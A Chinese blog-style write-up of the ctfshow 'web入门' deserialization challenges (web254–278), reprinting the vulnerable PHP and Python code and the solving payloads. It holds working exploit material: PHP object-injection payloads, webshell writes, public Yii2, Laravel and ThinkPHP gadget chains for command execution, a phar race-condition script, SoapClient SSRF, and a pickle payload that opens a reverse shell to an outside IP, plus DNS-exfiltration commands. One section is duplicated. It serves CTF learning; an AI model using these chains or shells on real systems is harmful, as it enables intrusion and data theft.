ctfshow web入门 反序列化

反序列化

【精选】[CTF]PHP反序列化总结_ctf php反序列化-CSDN博客

ctfshow web入门反序列化_ctfshow 271_YunX1n的博客-CSDN博客

1.web254

审一下代码就能得到

?username=xxxxxx&password=xxxxxx

2.web255

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}



 <?php
 
class ctfShowUser{
    public $isVip=true; 
}
 
echo urlencode(serialize(new ctfShowUser));

payload:
    get传: ?username=xxxxxx&password=xxxxxx
    cookie传:

user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22true%22%3B%7D

3.web256 

<?php
 
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
 
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
 
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}
 
$username=$_GET['username'];
$password=$_GET['password'];
 
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

<?php
 
class ctfShowUser{
    public $username='a';
    public $password='b'; 
    public $isVip=true; 
}
 
echo urlencode(serialize(new ctfShowUser)); 

payload:
    get传:?username=a&password=b
    cookie传:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D 

4.web257

<?php
 
error_reporting(0);
highlight_file(__FILE__);
 
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
 
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
 
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
 
$username=$_GET['username'];
$password=$_GET['password'];
 
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class;
}
class backDoor{
    public $code="system('cat flag.php');"; 
}
 
$a = new ctfShowUser;
$a -> class = new backDoor;
echo urlencode(serialize($a)); 

payload: //flag在源代码中查看
    get传:?username=xxxxxx&password=xxxxxx
    cookie传: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D 

4.web257

<?php
 
error_reporting(0);
highlight_file(__FILE__);
 
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
 
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
 
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
 
$username=$_GET['username'];
$password=$_GET['password'];
 
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class;
}
class backDoor{
    public $code="system('cat flag.php');"; 
}
 
$a = new ctfShowUser;
$a -> class = new backDoor;
echo urlencode(serialize($a)); 

payload: //flag在源代码中查看
    get传:?username=xxxxxx&password=xxxxxx
    cookie传: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D 

5.web258

 <?php
 
error_reporting(0);
highlight_file(__FILE__);
 
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
 
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
 
class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}
 
$username=$_GET['username'];
$password=$_GET['password'];
 
if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这里相对于web257就加了一个过滤,这里我们可以使用加号绕过 

 <?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class;
}
class backDoor{
    public $code="system('cat flag.php');"; 
}
 
$a = new ctfShowUser;
$a -> class = new backDoor;
$b=serialize($a);
$b = str_replace("O:11","O:+11",$b);
$b = str_replace("O:8","O:+8",$b);
echo urlencode($b);

payload: //flag在源代码中查看
    get传:?username=xxxxxx&password=xxxxxx
    cookie传: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D 

6.web259

<?php
 
highlight_file(__FILE__);
 
 
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

<?php
 
highlight_file(__FILE__);
 
 
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag(); 

这题有点不一样

 $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

//最终payload
<?php
 
$a = new SoapClient(null, array('location'=>'http://127.0.0.1/flag.php',
                    'user_agent'=> "aaa\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow",
                    'uri'=>'hhttp://127.0.0.1/flag.php'));
echo urlencode(serialize($a)); 

 //传入以后访问flag.txt,获得flag
payload: 
    get传入: ?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A26%3A%22hhttp%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A137%3A%22aaa%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D 

7.web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

<?php
class ctfshow{
    public $a='ctfshow_i_love_36D';
}
echo serialize(new ctfshow());
?>
  

8.web261

<?php
 
highlight_file(__FILE__);
 
class ctfshowvip{
    public $username;
    public $password;
    public $code;
 
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }
 
    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
 
unserialize($_GET['vip']); 

//最终payload
<?php
class ctfshowvip{
    public $username="877.php";
    public $password='<?php eval($_POST[a]);?>';
}
 
echo serialize(new ctfshowvip); 

//然后访问887.php,通过一句话木马获得flag
payload:
    get传:?vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[a]);?>";} 

9.web262

 <?php
 
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
 
 
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
 
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
 
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}
 
highlight_file(__FILE__);
//message.php源码
highlight_file(__FILE__);
include('flag.php');
 
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
 
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

//payload1
<?php
class message{
    public $token="admin";
}
 
echo base64_encode(serialize(new message));

10.web263

ctfshow web入门 反序列化 263_session反序列化ctf-CSDN博客

11.web264

262从cookie传参变成了session传参 

 payload:
    get传:?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
    cookie传:msg=1

12.web265

<?php
 
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;
 
    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
 
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
 
if($ctfshow->login()){
    echo $flag;
}

//payload
<?php
class ctfshowAdmin{
    public $token;
    public $password;}
 
$a = new ctfshowAdmin;
$a -> token = &$a -> password;
 
echo serialize($a); 

payload:
    get传:?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;} 

13.web266

<?php
 
highlight_file(__FILE__);
 
include('flag.php');
$cs = file_get_contents('php://input');
 
 
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

 //payload
<?php
 
class ctfshow{
    public $username;
    public $password;
}
 
$a = serialize(new ctfshow);
echo str_replace("ctfshow","CTFSHOW",$a);

payload:
    post传:O:7:"CTFSHOW":2:{s:8:"username";N;s:8:"password";N;}
//注意这里可以使用burp 

14.web267

web267_哔哩哔哩_bilibili

15.web268-270

yii2框架 反序列化漏洞复现_my yii application漏洞-CSDN博客

先弱密码登录 用户名admin 密码 admin

查看aobut页面源码,发现view-source提示

加上view-source

?r=site%2Fabout&view-source

发现后门,可以利用反序列化漏洞

<?php
namespace yii\rest{
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct()
        {
 
            $this->checkAccess='shell_exec';   #可以试试带外
            $this->id = "echo '<?php eval(\$_POST[1]);phpinfo(); ?>' > /var/www/html/basic/web/1.php";;
 
        }
    }
}
namespace yii\web{
    use yii\rest\IndexAction;
 
    class DbSession {
        protected $fields = [];
        public $writeCallback;
        public function __construct()
        {
            $this->writeCallback=[(new IndexAction),"run"];
            $this->fields['1'] = 'aaa';
        }
 
    }
}
namespace yii\db {
    use yii\web\DbSession;
 
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new DbSession();
        }
    }
}
namespace {
    $exp=print(base64_encode(serialize(new yii\db\BatchQueryResult())));
}
?>

没办法输出内容,可以尝试dns带外找到index.php所在目录。(应该是把 / 过滤了,无法执行命令直接查看根目录)

$this->checkAccess = 'shell_exec';
$this->id = 'wget `pwd|base64`.tgsjzu.dnslog.cn';

 然后将命令写入php文件里

$this->checkAccess='shell_exec';
$this->id = "echo '<?php eval(\$_POST[1]);phpinfo(); ?>' > /var/www/html/basic/web/1.php";;

访问1.php 

18.web271-273

<?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

Laravel反序列化

使用通用链子:

<?php
 
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-05 22:27:03
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-05 22:39:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
 
 
namespace PhpParser\Node\Scalar\MagicConst{
    class Line {}
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;
 
        public function __construct($config, $code)
        {
            $this->config = $config;
            $this->code = $code;
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace{
    $line = new PhpParser\Node\Scalar\MagicConst\Line();
    $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php file_put_contents('1.php','<?php eval(\$_POST[a]);?>');?>");
    $evalloader = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
    $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
    echo urlencode(serialize($pendingbroadcast));
}

21.web274

thinkphp反序列化,使用网上的链子

<?php
 
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-05 22:51:27
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-05 23:01:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
 
 
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["ctf","show"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
 
 
namespace think\process\pipes;
 
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];
 
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;
 
use think\Model;
 
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

22.web275

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

只要能执行销毁方法中的system命令即可。

payload:

 ?fn=1.php;tac flag.php

23.web276

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

相比于web275,增加了admin来判断是否执行system函数,就不能简单地执行命令了。 

$content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }

根据源代码中存在文件存储,我们使用phar反序列化进行绕过:

使用通用方法生成phar包:

<?php
class filter{
    public $filename;
    public $filecontent;
    public $evilfile=True;
    public $admin = True;

    public function __construct($f='',$fn=''){
        $this->filename='1;tac fla?.ph?';
        $this->filecontent=$fn;
    }
}


$phar=new Phar('phar.phar');
$phar->startBuffering();
//$phar->setStub("GIF89a<?php __HALT_COMPILER(); ? >");
$phar->setStub("<?php __HALT_COMPILER(); ?>");


$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("web276.txt","test");
$phar->stopBuffering();

 再使用python脚本进行条件竞争写入并反序列化phar文件,实现命令执行:

import requests
import threading
import time

flag = False

# 读取phar包
def getPhar(phar):
    with open (phar,'rb') as f:
        return f.read()

# 写入phar包
def writePhar(url,data):
    res = requests.post(url,data=data)

# 触发unlink的phar反序列化
def unlinkPhar(url,data):
    global flag
    res = requests.post(url,data=data)
    if 'ctfshow{' in res and flag is False:
        print(res.text)
        flag = True
    else:
        print('whoops!')

def main():
    global flag
    url = 'http://45c79ffb-f709-4ce9-bd1c-6ff073e65211.challenge.ctf.show:8080/'
    phar = getPhar('./phar.phar')
    while flag is False:
        time.sleep(1)
        w = threading.Thread(target=writePhar,args=(url+'?fn=p.phar',phar))
        u = threading.Thread(target=unlinkPhar,args=(url+'?fn=phar://p.phar/test',''))
        w.start()
        u.start()

if __name__ == '__main__':
    main()

 

24.web277-web278

where is flag?<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->

考察的是python的pickle库的反序列化漏洞。

找了一下链子:

 

import pickle
import os
import base64

class Test(object):
    def __reduce__(self):
    	#被调用函数的参数
        cmd = "ls /" 
        # cmd = "dir" 
        # return (os.system,(cmd,))
        # return (eval,("os.system('wget `ls |base64`.ttg47t.dnslog.cn')",))
        # return (eval,("__import__('os').popen('wget `ls |base64`.ttg47t.dnslog.cn').read()",))
        return (eval,("__import__('os').popen('nc 121.43.154.98 9001 -e /bin/sh').read()",))


if __name__ == "__main__":
    test = Test()
    #执行序列化操作
    result1 = pickle.dumps(test)
    print('*'*50)
    print(base64.b64encode(result1))
    print('*'*50)
    #执行反序列化操作
    #result2 = pickle.loads(result1)

在尝试直接执行ls /等命令后发现页面只显示backdoor here,但不回显命令的输出内容。nc,借此利用python来弹shell: 

nc 121.43.154.98 9001 -e /bin/sh

在自己服务器上输入:

nc -lvvn -p 9001

进行监听,注意查看端口是否被占用。

然后传payload:

backdoor?data=Y19fYnVpbHRpbl9fCmV2YWwKcDAKKFMiX19pbXBvcnRfXygnb3MnKS5wb3BlbignbmMgMTIxLjQzLjE1NC45OCA5MDAxIC1lIC9iaW4vc2gnKS5yZWFkKCkiCnAxCnRwMgpScDMKLg==

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值